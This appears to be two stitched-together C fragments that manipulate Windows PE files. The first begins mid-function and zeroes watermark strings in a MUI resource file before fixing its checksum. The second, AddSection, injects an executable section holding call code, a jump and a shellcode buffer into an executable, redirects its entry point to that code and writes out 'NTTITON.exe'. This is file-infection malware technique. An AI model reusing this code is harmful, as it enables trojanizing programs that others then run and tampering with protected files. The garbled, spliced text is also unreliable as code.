(!pView) __leave; // Make sure it's a valid PE file pDOSHeader = (PIMAGE_DOS_HEADER)pView; pNTHeader = (PIMAGE_NT_HEADERS)(pDOSHeader->e_lfanew + (ULONG_PTR)pDOSHeader); if(pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE || pNTHeader->Signature != IMAGE_NT_SIGNATURE) __leave; // // OK, Ready to Zero the watermark string // PRES_STRING_INFO pStrInfo; PSINGLE_LIST_ENTRY psLink = pStringsHead->Next; // Enumerate all entrys while(psLink) { // Get the string info pStrInfo = CONTAINING_RECORD(psLink, RES_STRING_INFO, link); // Make sure the info is correct if ( (pStrInfo->dwFileOffset > 0x200) && (pStrInfo->dwFileOffset < dwFileSize) && (pStrInfo->dwBytes > 0) ) { // Real work, zero the string ZeroMemory((LPVOID)((ULONG_PTR)pView + pStrInfo->dwFileOffset), pStrInfo->dwBytes); } // Get next entry psLink = psLink->Next; } // while(psLink) // // OK, we are try to fix the checksum of this file // // Get correct checksum of the PE file pNTHeader = CheckSumMappedFile((LPVOID)pView, dwFileSize, &dwHeaderSum, &dwCorrectSum); //TRACEF(_T("Header checksum: %08X \tCorrect checksum: %0X\n"), dwHeaderSum, dwCorrectSum); if (!pNTHeader) { //TRACEF(_T("Fail to re-checksum.\n")); __leave; } // Update the correct checksum to the file header pNTHeader->OptionalHeader.CheckSum = dwCorrectSum; // // All done, OK! // bRet = TRUE; } // end try __finally { // // Clean up // if (pView) UnmapViewOfFile((LPCVOID)pView); if (hMapping) { if (!CloseHandle(hMapping)) bRet = FALSE; } if (hFile) { if (!CloseHandle(hFile)) bRet = FALSE; } } //__finally return bRet; } // ZeroWatermarkFromMuiFile()
void AddSection(void* lpModule, unsigned long ulModule, unsigned long ulRawSize) { PIMAGE_DOS_HEADER lpDos = (PIMAGE_DOS_HEADER)(lpModule); PIMAGE_NT_HEADERS lpNt = (PIMAGE_NT_HEADERS)((unsigned long)lpDos + lpDos->e_lfanew); if (lpNt->Signature == IMAGE_NT_SIGNATURE) { unsigned long ulNewImageSize = ulModule + CalculateBoundary(lpNt->OptionalHeader.FileAlignment, ulRawSize); if (ulNewImageSize) { void * lpNewBase = VirtualAlloc(NULL,ulNewImageSize,MEM_COMMIT|MEM_RESERVE,0x40); if (lpNewBase) { PIMAGE_SECTION_HEADER lpLastSection = (PIMAGE_SECTION_HEADER)((unsigned long)lpNewBase + lpDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + ((lpNt->FileHeader.NumberOfSections-1)*40)); PIMAGE_SECTION_HEADER lpNewSection = (PIMAGE_SECTION_HEADER)((unsigned long)lpLastSection + sizeof(IMAGE_SECTION_HEADER)); unsigned long ulEOF = 0; unsigned long ulCheckSum = 0; unsigned long ulOldCheckSum = 0; unsigned long ulEntryPoint = 0; unsigned long ulOffset = 0; lpNt = (PIMAGE_NT_HEADERS)((unsigned long)lpNewBase+ lpDos->e_lfanew); RtlSecureZeroMemory(lpNewBase,ulNewImageSize); m_memcpy(lpNewBase,lpModule,ulModule); m_memcpy(&lpNewSection->Name, ".stdio", strlen(".stdio")); lpNewSection->SizeOfRawData = CalculateBoundary(lpNt->OptionalHeader.FileAlignment,ulRawSize); lpNewSection->PointerToRawData = CalculateBoundary(lpNt->OptionalHeader.FileAlignment, lpLastSection->PointerToRawData + lpLastSection->SizeOfRawData); lpNewSection->VirtualAddress = CalculateBoundary(lpNt->OptionalHeader.SectionAlignment, lpLastSection->VirtualAddress + lpLastSection->Misc.VirtualSize); lpNewSection->Characteristics = (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ); lpNewSection->Misc.VirtualSize = ulRawSize; lpNt->FileHeader.NumberOfSections++; lpNt->OptionalHeader.SizeOfImage = CalculateBoundary(lpNt->OptionalHeader.SectionAlignment, lpNewSection->VirtualAddress + ulRawSize); ulEntryPoint = lpNt->OptionalHeader.AddressOfEntryPoint; m_memcpy((void*)((unsigned long)lpNewBase + lpNewSection->PointerToRawData), ucCallCode, sizeof(ucCallCode)); ulOffset = ulEntryPoint - (lpNewSection->VirtualAddress + sizeof(ucCallCode)) - 5; m_memcpy(&ucJMP[1],&ulOffset, sizeof(unsigned long)); m_memcpy((void*)((unsigned long)lpNewBase + lpNewSection->PointerToRawData + sizeof(ucCallCode)), ucJMP,sizeof(ucJMP)); m_memcpy((void*)((unsigned long)lpNewBase + lpNewSection->PointerToRawData + sizeof(ucCallCode) + sizeof(ucJMP)), ucShellCode, sizeof(ucShellCode)); if (ulEOF = GetEOFSize(lpLastSection, ulModule)) { m_memcpy((void*)((unsigned long)lpNewBase + lpNewSection->PointerToRawData + lpNewSection->SizeOfRawData), (void*)((unsigned long)lpModule + (lpLastSection->PointerToRawData + lpLastSection->SizeOfRawData)), ulEOF); } lpNt->OptionalHeader.AddressOfEntryPoint = (lpNewSection->VirtualAddress); if (CheckSumMappedFile(lpNewBase,ulNewImageSize, &ulOldCheckSum, &ulCheckSum)) { lpNt->OptionalHeader.CheckSum = ulCheckSum; } if (WriteFileBuffer("NTTITON.exe",lpNewBase,ulNewImageSize)) { printf("Had to add section.... no codecaves were available FUUUUCK\n"); } VirtualFree(lpNewBase,ulNewImageSize,MEM_RELEASE); } } } }